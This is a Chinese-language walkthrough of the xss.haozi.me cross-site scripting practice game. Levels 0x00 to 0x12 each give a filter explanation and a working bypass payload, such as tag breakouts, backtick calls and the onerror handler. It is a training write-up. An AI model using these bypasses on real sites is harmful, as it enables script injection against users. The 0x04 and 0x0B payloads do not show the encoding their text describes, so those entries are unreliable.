题目连接:https://xss.haozi.me
0x00
原理解读:
这个游戏是要弹图片才算通关的,光弹窗不行,所以第一关就用最简单的img
标签过
payload:
<img src="任意图片名" onerror="alert(1)">
0x01
原理解读:
从server code
中可以看到输入的内容被插入到了<textarea>
标签中,所以只要闭合这个标签就行了
payload:
</textarea><img src="任意图片名" onerror="alert(1)">
0x02
原理解读:
这个一样的原理将input
标签闭合就行了
payload:
"><img src="任意图片名" onerror="alert(1)">
0x03
原理解读:
这个是过滤了()
啥的,可以用反撇号
绕过,就是英文输入法1前面的那个符号
payload:
<img src="任意图片名" onerror="alert`1`">
0x04
原理解读:
这个是连反撇号
也过滤了,所以用HTML实体
编码绕过
payload:
<img src="任意图片名" onerror="alert(1)">
0x05
原理解读:
这个--!>
用闭合注释符
payload:
--!><img src="任意图片名" onerror="alert(1)">
0x06
原理解读:
这个是在input
标签中添加一个图片类型
payload:
type="image" src="任意图片名" onerror
="alert(1)"
0x07
原理解读:
这个是过滤了所有以/<\\/?[^>]
开头>
结尾的字符,所以最后面不加>
就好了
payload:
<img src="任意图片名" onerror="alert(1)"
0x08
原理解读:
这个是过滤了</style>
标签导致无法闭合,所以用换行将它分开以绕过
payload:
</style
><img src="任意图片名" onerror="alert(1)">
0x09
原理解读:
这个限制了URL
,后面按正常套路闭合就行了
payload:
https://www.segmentfault.com"></script><img src="任意图片名" onerror="alert(1)
0x0A
原理解读:
这个用到了@
,在URL中会解析@
后面的网址,如果你的没弹出来试试换个浏览器,我的用火狐就可以了
payload:
https://www.segmentfault.com@xss.haozi.me/j.js
0x0B
原理解读:
这个题将所有的字母都换成了大写,所以要将alert(1)
进行HTML实体字符转换
payload:
<img src="任意图片名" onerror="alert(1)">
0x0C
原理:
这个是增加了script
的过滤,不过显得有点多余
payload:
<img src="图片名" onerror="alert(1)">
0x0D
原理解读:
这个是将输入内容带入到了注释中,可以用换行逃逸。由于过滤了单引号'
,所以后面的')
可以用-->
注释掉。
payload:
alert(1);
-->
0x0E
原理解读:
此题是将标签里的第一个字母前加上下划线_
,并且在h1标签里,作者的想法是用阿拉伯字母ſ
替换s
的大写,不过最后也没有出来,试了5个浏览器都不行
payload:
<ſcript src="https://xss.haozi.me/j.js" ></script>
0x0F
原理解读:
此题需要闭合前面的内容同时注释掉后面的
payload:
');alert(1)//
0x10
原理解读:
这个跟sql注入里的堆叠注入是一个意思
payload:
0;alert(1)
0x11
原理解读:
跟0x0F一样后面,后面可以用//
注释掉也可以用("
闭合掉
payload:
");alert(1);//
0x12
原理解读:
由于"
被替换成了\\
,所以要用\\
进行转义
payload:
\");alert(1);//
欢迎关注公众号,原创不易,转载请注明来源哦😘
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。